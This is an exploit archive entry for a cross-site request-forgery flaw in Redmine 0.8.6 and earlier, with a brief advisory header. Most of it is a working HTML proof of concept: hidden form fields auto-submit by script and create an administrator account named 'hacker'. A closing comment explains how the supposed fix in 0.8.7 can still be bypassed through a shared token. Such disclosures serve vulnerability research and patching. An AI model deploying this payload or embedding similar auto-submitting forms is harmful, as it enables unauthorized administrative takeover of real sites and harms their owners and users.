source: https://www.securityfocus.com/bid/37322/info

Ruby on Rails is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.

/**
*  Redmine <= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: <= 0.8.6
*  Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/

<html>
<body>
    <form method=POST action="http://www.example.com/users/new">
       <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
       <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
       <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
       <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" />
       <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
       <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/>
       <input style="display: none" type="hidden" value="1" name="user[admin]"/>
       <input style="display: none" type="submit" value="Create" id="commit" name="commit" />
  </form>
  <script>document.getElementById("commit").click();</script>
</body>
</html>

/**
*  P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
*  Thus, you can add POST data with token of any user and exploit will be working again
*/